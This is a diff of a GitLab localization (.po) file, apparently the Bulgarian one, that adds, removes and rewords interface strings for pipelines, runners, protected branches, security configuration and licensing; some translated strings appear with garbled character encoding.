+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "Ñ ÐµÑ‚Ð°Ð¿"
msgid "Pipeline|with stages"
msgstr "Ñ ÐµÑ‚Ð°Ð¿Ð¸"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðикога"
-msgid "ProjectLifecycle|Stage"
-msgstr "Етап"
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Свързани проблеми"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Запазване на плана за Ñхема"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Изберете целеви клон"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
